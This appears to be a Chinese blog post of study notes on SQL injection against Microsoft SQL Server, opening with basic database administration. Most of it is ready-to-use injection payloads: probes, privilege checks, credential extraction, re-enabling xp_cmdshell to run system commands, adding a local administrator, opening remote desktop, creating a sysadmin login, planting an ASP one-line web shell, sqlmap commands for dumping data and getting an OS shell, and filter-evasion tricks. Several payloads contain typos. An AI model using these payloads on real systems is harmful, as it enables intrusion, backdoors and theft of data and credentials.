Mssql注入漏洞认识

用的asp、aspx可能用的mssql

sql server2012

特点:

高性能,可充分利用win的优势

系统管理先进,支持win图形化管理工具,支持本地和远程的系统管理和配置

强壮的事务处理功能,采用各种方法保证数据的完整性

支持对称多处理器结构、存储过程、ODBC,并且有自主的SQL语言。sqlserver以内置的数据复制功能、强大的管理工具、与因特尔的紧密集成和开放系统结构为用户、等提供的数据库平台

sqlserver端口1433

管理员账号sa

hydra s.exe

mdf是数据库文件

ldf是数据库的日志文件

sql server2008使用方法

登陆方式两种
win、sql server
创建数据库,右击新建数据库
起名字
点击名字
创建表:右击表,新建表
指定表里的列
例如:
id、int
username、nvachar(50)
然后ctrl+s完成并编辑名字,dbo是附加的前缀,然后点击创建的表,然后进行创建用户
按照命令查询也可以
新建查询
use 数据库			点击执行
然后查询admin的所有列
select * from admin;
查询id=1的
select * from admin where id=1
插入内容
insert into admin(id,username,password)value(3,'test','password');
改密码更改3的密码
update admin set password='123123' where id =3
删除
delete from admin where id=3

要想删除数据库,首先右键任务--分离,然后全选,然后确定删除后,找mssql的,再把数据库的路径的对应的删除就行了

版本注意数据库的兼容问题,2003强行附加带2008会出现一些问题

数据库的附加:

右击数据库,点击附加,然后添加,找到数据库的路径点击mdf的,然后确定

版本问题:

右击数据库,点击生成脚本,然后选择版本 、

用户名的服务器角色sysadmin就是sa权限

要想下载数据库,就得先分离才能继续复制、移动

mssql数据库权限

sa权限:数据库操作,文件管理,命令执行,注册表读取等system
db权限:文件管理,数据库操作等users-adminstrators
public权限:数据库操作 guest-users

一般数据库代码都是在conn.asp或者dbconfig.asp 这是asp

aspx的一般在web.config

mssql数据库注入

判断有无注入

and 1=1
and 1=2
/
-0

因为代码没有对输入做出严格的过滤产生的

初步判断是否是mssql

and user>0

判断数据库系统

and(select count(*)from sysobjects)>0  mssql
and(select count(*)from msysobjects)>0    access

测试权限结构

and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
and 1=(select IS_MEMBER('db_owner'));--

查看数据库版本信息

and 1=(select @@version)
也可以
id=@@version

获取第一个用户的数据库

and 1=(select top 1 name from master..sysdatebases where dbid>4)

获取第一个张表明

and 1=(select top 1 name from sysobjects where xtype='u')

不等于用闭合的

name<>'名称'

爆数据库

and 1=(select name from master..sysdatebases for xml path)

爆数据库表

and 1=(select name from sysobjects for xml path)

获取第一列的列名

and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name ='users'))

然后查看用户名密码

and 1=(select top 1 admin from admin)
and 1=(select top 1 pass from admin)

利用mssql扩展存储注入攻击

1.检测与恢复扩展存储
判断xp_cmdshell扩展存储是否存在
and 1=(select count(*) fron master.dbo.sysobjects where xtype = 'X' AND name='xp cmdshell')
判断xp_regread扩展存储过程是否存在
and 1=(select count(*) from master.dbo.sysobjects where name='xp_regread')恢复
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC
sp_configure'xp_cmdshell', 1;RECONFIGURE;
;exec sp_dropextendedproc xp_cmdshell,'xplog70.dll'

利用xp_cmdshell扩展执行任意命令

;drop table black
;create TABLE black(mulu varchar(7996) NULL,ID int NOT NULL IDENTITY(1,1))--;insert into black exec master..xp_cmdshell 'dir c:\'
and 1= (select top 1 mulu from black where id=1)

新建用户

;exec master..xp_cmdshell 'net user test test /add  新建用户
加入到管理员权限
;exec master..xp_cmdshell 'net localgroup administrators test /add'

远程登录cmd

mstsc

远程没开启,就让他开

打开3389

;exec master..xp_cmdshell 'sc config termservice start=auto'
;exec master..xp_cmdshell 'net start termservice'
; e x e c   m a s t e r . .x p_c m d s h e l l 'r e g   a d d"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"/vfDenyTSConnections/t REG_DWORD/d 0x0 /f’//允许外部连接
; e x e c   m a s t e r . .x p_c m d s h e l l 'r e g a   d d"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD/d 0x50/f‘ //改端口到80
添加和删除一个SA权限的用户test:(需要SA权限)
exec master.dbo.sp_addlogin test,password
exec master.dbo.sp_addsrvrolemember test,sysadmin
停掉或激活某个服务。(需要SA权限)
exec master..xp_servicecontrol'stop','schedule'
exec master..xp_servicecontrol'start','schedule'

开启远程数据库1
;select* from OPENROWSET('SQLOLEDB','server=servername;uid=sa;pwd=apachy_123','select * from table1')
开启远程数据库2
;select* from OPENROWSET('SQLOLEDB','uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;’,'select *from table'

利用sp_makewebtask写入一句话

;exec sp_makewebtask
'c.\inetpub\wwwroot\x.asp','select"%3C%25%65%76%61%6C%20%72%65%71%75%65%73%74%28%22%63%68%6F%70%70%65%72%22%29%25%3E""--
http://mssql.sql.com/aspx.aspx?id=1%20;exec%20sp_makewebtask%20%20%27c.\inetpub\wwwroot\ms\×1.asp%27,%27select%27%27<%execute(request("cmd"")%>%27%27%27--
注意上面的url编码后,看ms,更改为网站的端口
修改管理员密码
update admin set password=123123 where username='admin';

通过共聚getwebshell增强版

插入代码

('<%excute(request("cmd"))%>')--

注意网站根目录

也可以用一键备份

用sqlmap跑

sqlmap.py -u "192.168.0.1:8082/test.aspx?id=1" --is-dba
看权限是否是系统管理员权限
sqlmap.py -u "192.168.0.1:8082/test.aspx?id=1" --current-user
看当前用户名名称
sqlmap.py -u "192.168.0.1:8082/test.aspx?id=1" --privilegs
看权限
sqlmap.py -u "192.168.0.1:8082/test.aspx?id=1" --os-shell
执行系统命令
sqlmap.py -u "192.168.0.1:8082/test.aspx?id=1" --dbs
列出数据库
sqlmap.py -u "192.168.0.1:8082/test.aspx?id=1" --current-db
查看当前数据库
sqlmap.py -u "192.168.0.1:8082/test.aspx?id=1" --tables -D test --couent
统计每个表的数据
sqlmap.py -u "192.168.0.1:8082/test.aspx?id=1" --columns -T admin -D test
查看admin有哪些列
sqlmap.py -u "192.168.0.1:8082/test.aspx?id=1" --dump -C admin.pass -T -D test
指定表查看
sqlmap.py -u "192.168.0.1:8082/test.aspx?id=1" --dump  -T -D test
看所有的

防注入的代码

/**/
+
%0a
代替空格
还有大小写的区分的
selcet
大写
绕过
SELECT

上一篇:acm算法之dfs


下一篇:阿里云专访Redisson作者Rui Gu:构建开源企业级Redis客户端之路